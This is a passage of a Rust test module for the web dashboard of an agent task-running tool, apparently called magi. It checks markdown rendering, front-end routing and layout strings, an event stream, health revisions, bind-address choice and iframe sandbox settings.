13110        // them: the arrays must follow the record, not the display.
13111        state.reviews = serde_json::from_value(serde_json::json!([{
13112            "round": 1, "head": "h",
13113            "reviews": [{
13114                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13115                "findings": [
13116                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
13117                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13118                ],
13119            }],
13120            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13121            "fix": {"agent": "a", "notes": "fixed **it**",
13122                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13123        }, {"round": 2, "head": "h2", "reviews": []}]))
13124        .unwrap();
13125
13126        let v = serde_json::to_value(RunDetailView::of(
13127            state,
13128            crate::run::Liveness::Unknown,
13129            None,
13130            None,
13131            None,
13132        ))
13133        .unwrap();
13134
13135        let strong = |p: &str| {
13136            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13137            assert!(n.to_string().contains("strong"), "{p}: {n}");
13138        };
13139        strong("/advice_md/synthesis");
13140        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13141        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13142        strong("/advice_md/approaches/0");
13143        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13144        strong("/candidate_summaries_md/0");
13145        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13146        strong("/reviews_md/0/reviewers/0/summary");
13147        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13148        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13149        assert!(f[1].to_string().contains("strong"));
13150        strong("/reviews_md/0/reconsideration/0");
13151        strong("/reviews_md/0/fix/notes");
13152        strong("/reviews_md/0/fix/rejected/0");
13153        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13154        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13155        // The raw strings stay, and no schema moved.
13156        assert_eq!(v["candidates"][0]["summary"], "did **it**");
13157        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13158    }
13159
13160    #[test]
13161    fn a_run_without_advice_has_no_advice_md() {
13162        let state = RunState::new(
13163            std::path::PathBuf::from("/repo"),
13164            "main".to_owned(),
13165            "abc".to_owned(),
13166            "x".to_owned(),
13167            crate::config::Config::default(),
13168        );
13169        let p = run_prose_md(&state);
13170        assert!(p.advice_md.is_none());
13171        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13172    }
13173
13174    #[test]
13175    fn a_question_view_carries_markdown_for_each_thread_turn() {
13176        let home = TempDir::new().unwrap();
13177        let store = ask::Questions::at(home.path().join("questions"));
13178        let mut q = Question::new(
13179            "run".to_owned(),
13180            "implement".to_owned(),
13181            "impl-A".to_owned(),
13182            "which?".to_owned(),
13183            String::new(),
13184            Vec::new(),
13185        );
13186        q.say("plain words").unwrap();
13187        q.reply("use **this**", Vec::new()).unwrap();
13188        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13189        let bodies = &v["thread_bodies_md"];
13190        assert_eq!(bodies.as_array().unwrap().len(), 2);
13191        assert!(!bodies[0].to_string().contains("strong"));
13192        assert!(bodies[1].to_string().contains("strong"));
13193    }
13194
13195    #[test]
13196    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13197        let home = TempDir::new().unwrap();
13198        let store = ask::Questions::at(home.path().join("questions"));
13199        let mut q = Question::new(
13200            "run".to_owned(),
13201            "conduct".to_owned(),
13202            "conduct".to_owned(),
13203            "which?".to_owned(),
13204            String::new(),
13205            Vec::new(),
13206        );
13207        q.say("plain words").unwrap();
13208        q.thread.push(ask::Turn {
13209            who: ask::Who::Agent,
13210            body: "Settled as `merge`".to_owned(),
13211            at: jiff::Timestamp::now(),
13212            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13213        });
13214        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13215        let notes = &v["thread_notes_md"];
13216        assert_eq!(notes.as_array().unwrap().len(), 2);
13217        assert!(notes[0].is_null());
13218        let text = notes[1].to_string();
13219        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13220        assert!(APP_JS.contains("ask-turn-note"));
13221    }
13222
13223    #[test]
13224    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13225        // The land panel defers to `run.status` for merged, and labels a
13226        // recorded-open PR on any finished run (superseded, blocked, ...) as
13227        // last seen, never as live state.
13228        assert!(APP_JS.contains("function landView(run, raw) {"));
13229        assert!(
13230            APP_JS.contains(
13231                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13232            )
13233        );
13234        assert!(APP_JS.contains("const pr = landView(run, raw);"));
13235        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13236        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13237        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13238    }
13239
13240    #[test]
13241    fn live_runs_are_never_hidden_or_folded_as_superseded() {
13242        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
13243        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13244        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13245        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13246    }
13247
13248    #[test]
13249    fn review_rounds_label_a_distinct_verified_head() {
13250        assert!(APP_JS.contains("round.verified_head"));
13251        assert!(APP_JS.contains("verified HEAD"));
13252        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13253    }
13254
13255    #[test]
13256    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13257        // A blocked task's chip and note must not fall back to a queued-like
13258        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
13259        // itself by e11fc58 but never checked here.
13260        assert!(APP_JS.contains("blocked: { glyph:"));
13261        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13262
13263        // `blocked_by` mixes task ids and question ids in the same list, and
13264        // the client can only tell them apart by checking each id against
13265        // what it actually knows - never by guessing from the id's shape.
13266        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13267        assert!(
13268            APP_JS.contains(
13269                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13270            ),
13271            "the note line must name what a blocked task is waiting on, not just that it is blocked"
13272        );
13273        // The classification must key off `status_str`, never off `blocked_by`
13274        // or `block_reason` merely being present - both can survive briefly
13275        // on a task a hold or a dead daemon just moved off `blocked`.
13276        assert!(APP_JS.contains("if (status === \"blocked\") {"));
13277
13278        // A question a task is blocked on gets its own node in the same
13279        // dependency graph, not just a task-shaped node with nothing known
13280        // about it.
13281        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13282        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13283        assert!(
13284            APP_JS.contains("location.hash = \"#/questions\";"),
13285            "a question node must jump to the Questions screen, not pretend to be a task"
13286        );
13287
13288        // `Task::answers` - decisions already made - are shown as a record on
13289        // the card, the same disclosure style as the full instruction.
13290        assert!(APP_JS.contains("Resolved questions"));
13291        assert!(APP_JS.contains("r.answersList.append("));
13292        assert!(APP_CSS.contains(".task-answers"));
13293        {
13294            let start = APP_JS
13295                .find("function updateTalkTaskRow")
13296                .expect("updateTalkTaskRow");
13297            let body = &APP_JS[start..];
13298            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13299            assert!(
13300                body.contains(
13301                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13302                ),
13303                "a chat-filed task row must link to the task page"
13304            );
13305            assert!(
13306                !body.contains("#/runs/") && !body.contains("#/queue/"),
13307                "the row must not branch to a run or the queue card"
13308            );
13309            assert!(APP_CSS.contains(".talk-task-link"));
13310        }
13311    }
13312
13313    #[test]
13314    fn a_task_notification_links_to_the_task_page() {
13315        // A task notice opens the task detail page, not the Backlog card.
13316        let start = APP_JS
13317            .find("function noticeLink(")
13318            .expect("noticeLink exists");
13319        let body = &APP_JS[start..];
13320        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13321        assert!(
13322            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13323            "a task notice's link must target the task page"
13324        );
13325        assert!(
13326            !body.contains("#/queue/"),
13327            "regression: the task link must not go back to the Backlog route"
13328        );
13329        assert!(
13330            APP_JS.contains(
13331                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13332            ),
13333            "`#/tasks/<id>` must parse into the task route"
13334        );
13335
13336        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
13337        assert!(
13338            APP_JS.contains(
13339                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13340            ),
13341            "`#/queue/<id>` must parse into a route carrying that id"
13342        );
13343
13344        // And the Backlog view has to actually land on the card once it can
13345        // - see consumeQueueFocus(), which renderQueue() calls on every pass
13346        // so a focus set before the queue has loaded is retried once it has.
13347        assert!(APP_JS.contains("state.queueFocus = route.id;"));
13348        assert!(APP_JS.contains("function consumeQueueFocus()"));
13349        assert!(APP_JS.contains("jumpToTask(id)"));
13350    }
13351
13352    /// Chat rows are two lines at every width: the title alone, then the
13353    /// shrinkable secondary info.
13354    #[test]
13355    fn chat_rows_put_the_title_alone_on_the_first_line() {
13356        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
13357        assert!(APP_CSS.contains(
13358            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13359        ));
13360        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13361        assert!(APP_JS.contains("class: \"badge talk-unread\""));
13362    }
13363
13364    #[test]
13365    fn run_rows_put_the_title_alone_on_the_first_line() {
13366        assert!(
13367            APP_CSS.contains(
13368                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
13369            )
13370        );
13371        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13372        assert!(APP_JS.contains("class: \"card run-card\""));
13373        assert!(APP_JS.contains("class: \"repo run-id\""));
13374    }
13375
13376    /// Wide screens get a master/detail layout built from the views a phone
13377    /// drills into. These are string assertions: they pin the contract between
13378    /// the three assets, not how it looks.
13379    #[test]
13380    fn wide_screens_show_list_and_preview_side_by_side() {
13381        // One breakpoint, spelled the same in the script and the stylesheet.
13382        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13383        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13384        assert!(APP_CSS.contains("main[data-split]"));
13385        assert!(APP_CSS.contains("body[data-split]"));
13386
13387        // The route -> panes table, and a narrow screen opting out of it.
13388        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
13389        assert!(
13390            APP_JS.contains(
13391                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13392            )
13393        );
13394        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13395        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13396        assert!(INDEX_HTML.contains("id=\"split-empty\""));
13397
13398        // Selection is derived from the route, and only ever paints a row.
13399        assert!(APP_JS.contains("function markSelected() {"));
13400        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13401        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13402        // The dense row must override the stacked card the 720px block sets up.
13403        assert!(
13404            APP_CSS.contains(
13405                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13406            )
13407        );
13408
13409        // Independent scrolling: the page stops scrolling, each pane does.
13410        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13411        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13412        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13413        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13414
13415        // A refresh must never navigate: the loaders still check that their
13416        // subject is the one on screen, and crossing the breakpoint only
13417        // re-reads the hash.
13418        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13419        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13420        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13421        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13422
13423        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
13424        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13425    }
13426
13427    #[test]
13428    fn panel_sandbox_carries_exactly_popups() {
13429        let needle = "sandbox: \"";
13430        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13431        assert_eq!(
13432            matches.len(),
13433            1,
13434            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13435        );
13436        let start = matches[0].0 + needle.len();
13437        let end = APP_JS[start..]
13438            .find('"')
13439            .expect("sandbox attribute value must be terminated by a closing quote");
13440        let val = &APP_JS[start..start + end];
13441        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13442        let expected: std::collections::BTreeSet<&str> =
13443            ["allow-popups", "allow-popups-to-escape-sandbox"]
13444                .into_iter()
13445                .collect();
13446        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
13447        assert!(
13448            !tokens.contains("allow-scripts"),
13449            "allow-scripts must never be present in sandbox"
13450        );
13451        assert!(
13452            !tokens.contains("allow-same-origin"),
13453            "allow-same-origin must never be present in sandbox"
13454        );
13455    }
13456
13457    #[test]
13458    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13459        // consumeQueueFocus() clears an active Backlog search before it can
13460        // scroll to the target card (the sections list is hidden while a
13461        // search is showing), by recursing back into renderQueue(). The
13462        // fixer's first cut nulled state.queueFocus before that recursive
13463        // call, so the second pass saw nothing to jump to and the jump was
13464        // silently dropped whenever a notification's link was opened with a
13465        // stale search still active. state.queueFocus must only be cleared
13466        // right before jumpToTask() actually runs.
13467        assert!(
13468            APP_JS.contains(
13469                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
13470            ),
13471            "the search-clearing branch must run before state.queueFocus is cleared, or the \
13472             recursive renderQueue() call has nothing left to jump to"
13473        );
13474        assert!(
13475            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13476            "state.queueFocus must be cleared only once the jump has landed, so a card that \
13477             arrives later still gets it"
13478        );
13479        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13480        assert!(APP_JS.contains("is not in the current Backlog."));
13481        assert!(APP_JS.contains("li.card[data-task-id=\""));
13482        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13483        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13484        assert!(APP_CSS.contains(".card-permalink"));
13485        assert!(APP_CSS.contains(".queue-focus-status"));
13486        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13487    }
13488
13489    #[test]
13490    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13491        // The task's own repro: only the link text inside .notice-meta was
13492        // clickable, so a tap on the message, the timestamp, or the card's
13493        // padding did nothing - on a phone that reads as "the card doesn't
13494        // work" even though the tiny link inside it did. Mark read / Dismiss
13495        // must keep working independently of this: `.closest("a, button")`
13496        // is what lets a tap that actually lands on those elements fall
13497        // through instead of being hijacked into a navigation.
13498        assert!(
13499            APP_JS.contains(
13500                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13501            ),
13502            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13503        );
13504    }
13505
13506    #[test]
13507    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13508        assert!(
13509            APP_JS.contains("round.verified_head !== round.head"),
13510            "a round that verified an earlier commit must be visibly distinct from one that \
13511             verified the head reviewers are looking at now"
13512        );
13513        assert!(
13514            APP_JS.contains("round.verified_at"),
13515            "when a check ran must be on the wire, not just which commit"
13516        );
13517        assert!(
13518            APP_JS.contains("resource_blocked"),
13519            "a command magi never got to run (shared build cache contention) must not render \
13520             the same as a command that ran and failed"
13521        );
13522    }
13523
13524    #[test]
13525    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13526        // Every KPI tile but Total runs and Completion names an exact
13527        // RunStatus and hands it to openRunsFiltered(), which is what wires
13528        // the click into state.runsFilter.status (matchesFilter's own
13529        // status check) rather than the coarser runsStateFilter chips. Each
13530        // status literal here must be one of the strings runSection() (and
13531        // isStale()) actually compare a run's own `status` field against -
13532        // a status this dashboard invented would filter to nothing.
13533        assert!(
13534            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13535            "every KPI tile built through statusTile() must route its click through \
13536             openRunsFiltered, the single place that sets the Runs filter"
13537        );
13538        for (label, status) in [
13539            ("Merged", "merged"),
13540            ("Ready", "ready"),
13541            ("Blocked", "blocked"),
13542            ("Stalled", "stalled"),
13543        ] {
13544            let call = format!("statusTile(\"{label}\", t.{status}, ");
13545            assert!(
13546                APP_JS.contains(&call),
13547                "expected the {label} KPI tile built via {call}..."
13548            );
13549            assert!(
13550                APP_JS.contains(&format!("status === \"{status}\"")),
13551                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13552                 compare a run against, not one invented only for the stats tile"
13553            );
13554        }
13555        assert!(
13556            APP_JS.contains("function openRunsFiltered(status)"),
13557            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13558        );
13559        assert!(
13560            APP_JS.contains(
13561                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13562            ),
13563            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13564        );
13565        // applyRoute() only flips which view is visible for a plain `#runs`
13566        // hash - it does not itself redraw the list (see applyRoute's own
13567        // handling below) - so openRunsFiltered must call renderRuns()
13568        // itself, and must call applyRoute() too so the view flips even
13569        // when the hash string doesn't change (the operator may already be
13570        // on the Runs view when a tile is tapped, which fires no
13571        // hashchange event at all).
13572        assert!(
13573            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
13574            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13575             hashchange event that may never fire"
13576        );
13577    }
13578
13579    #[test]
13580    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13581        // A stats tile can leave state.runsFilter.status set to something
13582        // done-by-construction (e.g. "merged") - picking "Active" afterward
13583        // must drop it the same way an incompatible tree section is already
13584        // dropped, or the Runs list renders permanently empty with no way
13585        // for the operator to tell why.
13586        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13587        assert!(
13588            APP_JS.contains(
13589                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
13590            ),
13591            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13592             guard for an incompatible tree section"
13593        );
13594    }
13595
13596    #[test]
13597    fn every_stats_queue_tile_names_a_real_queue_section() {
13598        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
13599        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
13600        // (consumeQueueSectionFocus finds no matching <details> and drops
13601        // the focus) rather than fail loudly, so pin every key against the
13602        // section list it has to resolve against.
13603        assert!(
13604            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13605            "every queue tile built through sectionTile() must route its click through \
13606             openQueueSectionFocus"
13607        );
13608        for key in ["upnext", "running", "done", "held", "blocked"] {
13609            assert!(
13610                APP_JS.contains(&format!("{{ key: \"{key}\",")),
13611                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13612            );
13613        }
13614        // Queued and Failed intentionally both resolve to "upnext" - the
13615        // same section queueSection() itself files them under - rather than
13616        // getting a section each.
13617        for line in [
13618            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13619            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13620            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13621            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13622            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13623            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13624        ] {
13625            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13626        }
13627    }
13628
13629    #[test]
13630    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13631        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
13632        // above for the section-focus channel a stats queue tile drives:
13633        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
13634        // through the stale-search-clear recursion into renderQueue(), and
13635        // clear it only once revealQueueSection() is actually about to run -
13636        // the same trap that once silently dropped a task-focus jump.
13637        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13638        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13639        assert!(APP_JS.contains("function revealQueueSection(details)"));
13640        assert!(
13641            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
13642            "renderQueue() must consume both focus channels on every pass"
13643        );
13644        assert!(
13645            APP_JS.contains(
13646                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
13647            ),
13648            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13649             the recursive renderQueue() call has nothing left to reveal"
13650        );
13651        assert!(
13652            APP_JS.contains(
13653                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
13654            ),
13655            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13656        );
13657        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
13658        // task-focus form of the hash - a plain `#queue` navigation only
13659        // flips which view is visible. openQueueSectionFocus() must
13660        // therefore call renderQueue() itself, and applyRoute() too so the
13661        // view flips even when the hash doesn't change (the Backlog may
13662        // already be open when a tile is tapped, firing no hashchange
13663        // event at all).
13664        assert!(
13665            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
13666            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13667             hashchange event that may never fire"
13668        );
13669    }
13670
13671    #[tokio::test]
13672    async fn the_change_stream_announces_the_current_revisions_on_connect() {
13673        let f = Fixture::start().await;
13674
13675        let mut socket = tokio::net::TcpStream::connect(f.addr)
13676            .await
13677            .expect("connect");
13678        socket
13679            .write_all(
13680                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13681            )
13682            .await
13683            .expect("write request");
13684
13685        // Read until the first event arrives rather than to end of stream: the
13686        // stream is endless by design, which is the point of the route.
13687        let mut seen = String::new();
13688        let mut buf = [0u8; 1024];
13689        while !seen.contains("event: change") {
13690            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13691                .await
13692                .expect("the stream must speak within five seconds")
13693                .expect("read");
13694            assert!(read > 0, "the server closed the change stream: {seen}");
13695            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13696        }
13697
13698        assert!(
13699            seen.to_lowercase()
13700                .contains("content-type: text/event-stream"),
13701            "the browser only reconnects automatically for a real SSE stream: {seen}"
13702        );
13703        let data = seen
13704            .lines()
13705            .find_map(|l| l.strip_prefix("data:"))
13706            .expect("a data line");
13707        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13708        assert!(
13709            payload["queue_rev"].is_u64()
13710                && payload["runs_rev"].is_u64()
13711                && payload["questions_rev"].is_u64()
13712                && payload["talks_rev"].is_u64()
13713                && payload["notifications_rev"].is_u64()
13714                && payload["loop_rev"].is_u64(),
13715            "the client needs one revision per store to know what to refetch, \
13716             and `talks_rev` is the only notification a standing talk gets - a \
13717             phone whose radio slept through a turn learns about it here, as \
13718             does one whose operator started the loop from another device: \
13719             {payload}"
13720        );
13721
13722        // The front end re-polls health on a timer and on wake, and takes the
13723        // revisions from that answer whenever the stream is not up. So health
13724        // has to carry every key the stream carries: a phone on a link that
13725        // will not hold an SSE connection is exactly the phone that must still
13726        // notice a question, and a missing key there is not a 500 but a UI
13727        // that quietly stops updating.
13728        let health = f.get("/api/health").await.json();
13729        for key in [
13730            "queue_rev",
13731            "runs_rev",
13732            "questions_rev",
13733            "talks_rev",
13734            "notifications_rev",
13735            "loop_rev",
13736        ] {
13737            assert!(
13738                health[key].is_u64(),
13739                "health is the change stream's fallback and is missing `{key}`: {health}"
13740            );
13741        }
13742    }
13743
13744    #[tokio::test]
13745    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13746        let f = Fixture::start().await;
13747        let before = f.get("/api/health").await.json()["talks_rev"]
13748            .as_u64()
13749            .expect("talks_rev");
13750
13751        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13752        std::thread::sleep(Duration::from_millis(10));
13753        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13754        on_disk.turns.push(crate::talk::Turn {
13755            breaks: Some(Vec::new()),
13756            who: crate::talk::Who::Operator,
13757            body: "a new turn".to_owned(),
13758            at: Timestamp::now(),
13759            attachments: Vec::new(),
13760            usage: None,
13761        });
13762        f.talks().put(&mut on_disk).expect("record a turn");
13763
13764        let after = f.get("/api/health").await.json()["talks_rev"]
13765            .as_u64()
13766            .expect("talks_rev");
13767        assert_ne!(
13768            before, after,
13769            "a phone must be able to notice a talk's reply without polling every store"
13770        );
13771    }
13772
13773    #[test]
13774    fn bind_reads_back_from_the_spelling_the_cli_prints() {
13775        // The CLI shows the default in `--help` and parses whatever comes
13776        // back, so the two directions have to agree or `--bind auto` breaks
13777        // the moment someone copies the help text.
13778        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13779            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13780        }
13781        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13782        assert!("everywhere".parse::<Bind>().is_err());
13783    }
13784
13785    #[test]
13786    fn an_explicit_bind_address_is_taken_verbatim() {
13787        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13788
13789        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13790
13791        assert_eq!(addr, asked);
13792        assert!(
13793            warning.is_none(),
13794            "an operator who named an address gets no lecture"
13795        );
13796    }
13797
13798    #[test]
13799    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13800        let (addr, warning) = resolve_bind(&Bind::Auto);
13801
13802        // This has to hold on a CI runner with no `tailscale` and on a dev box
13803        // with one, so the invariant asserted is the one shared by both
13804        // outcomes: the address is either a real tailnet address offered
13805        // without comment, or loopback with an explanation. What must never
13806        // happen is a silent fallback - an operator told "listening on
13807        // 127.0.0.1" with no reason would go looking for a firewall.
13808        match addr {
13809            IpAddr::V4(ip) if is_tailnet(&ip) => {
13810                assert!(warning.is_none(), "a tailnet address needs no warning");
13811            }
13812            other => {
13813                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13814                let warning = warning.expect("a fallback has to explain itself");
13815                assert!(
13816                    warning.contains("127.0.0.1") && warning.contains("local-only"),
13817                    "the warning says what happened and what it costs: {warning}"
13818                );
13819            }
13820        }
13821    }
13822
13823    #[test]
13824    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13825        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
13826        // boundary cases are what stop us binding to some other tool's idea of
13827        // an address.
13828        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13829        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13830        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13831        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13832        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13833    }
13834
13835    #[test]
13836    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13837        let ids = vec![
13838            "20260902-140501-aaaa".to_owned(),
13839            "20260902-140502-aabb".to_owned(),
13840        ];
13841
13842        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13843        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13844        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13845
13846        assert_eq!(missing.status, StatusCode::NOT_FOUND);
13847        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13848        assert_eq!(short, "20260902-140502-aabb");
13849    }
13850    #[tokio::test]
13851    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13852        // The prompt tells agents to reference attachments by bare filename.
13853        // A document served at `.../panel` resolves `shot.png` against its own
13854        // directory, i.e. `.../shot.png`, which is not the asset route - so a
13855        // panel written exactly as instructed showed broken images. Caught by
13856        // looking at a real one in a browser, not by reading the code.
13857        let fx = Fixture::start().await;
13858        let id = panel(
13859            &fx,
13860            "<img src=\"shot.png\">",
13861            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13862        );
13863
13864        // The frame's own URL ends in a filename, so its siblings are reachable.
13865        let doc = fx
13866            .get(&format!("/api/questions/{id}/panel/index.html"))
13867            .await;
